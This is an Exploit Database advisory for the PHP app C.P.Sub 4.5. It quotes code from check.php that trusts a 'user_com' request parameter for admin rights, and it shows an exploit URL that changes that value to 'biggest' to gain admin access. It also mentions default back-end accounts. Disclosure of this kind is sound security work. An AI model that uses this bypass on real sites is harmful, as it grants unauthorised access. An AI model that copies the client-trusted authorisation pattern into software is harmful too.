C.P.Sub 4.5 – Authentication Bypass

• Exploit Database
• 15 阅读

• 作者： Chako
  日期： 2013-07-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/26521/

• #!/usr/bin/python
  #
  #
  ####################################################################
  #
  # Exploit Title: C.P.Sub <= v4.5 Misconfiguration and Improper Authentication
  # Date: 2013/6/27
  # Exploit Author: Chako
  # Vendor Homepage: http://www.cooltey.org/ping/php.php
  # Software Download Link: http://cooltey.myweb.hinet.net/cpsub_v4.5.zip
  # Version: <= v4.5
  # Tested on: Windows 7 
  #
  #
  ####################################################################
  
  Improper Authentication:
  ==========================================
  
  Description:
  C.P.Sub <= v4.5 use "user_com=" parameter to identify if the user has admin privilege.
  	Therefore an attacker could simply change the value for "user_com=" parameter to gain admin privilege.
  
  
  /check.php (LINE: 36-44)
  --------------------------------------------------------------
  if($_GET[user_com] != "")
  {
  $user_com = $_GET[user_com];
  }elseif($_POST[user_com] != "")
  {
  $user_com = $_POST[user_com];
  }
  if($user_com == "biggest")
  {
  --------------------------------------------------------------
  
  
  Exploit:
  --------------------------------------------------------------
  
  change
  http://Example_Target/info.php?cookie=yes&user_com=second
  
  to
  http://Example_Target/info.php?cookie=yes&user_com=biggest
  
  
  
  Misconfiguration
  ==========================================
  There are some default accounts for C.P.Sub <= v4.5 that allows an attacker
  to access back-end management page. It could lead to further attack.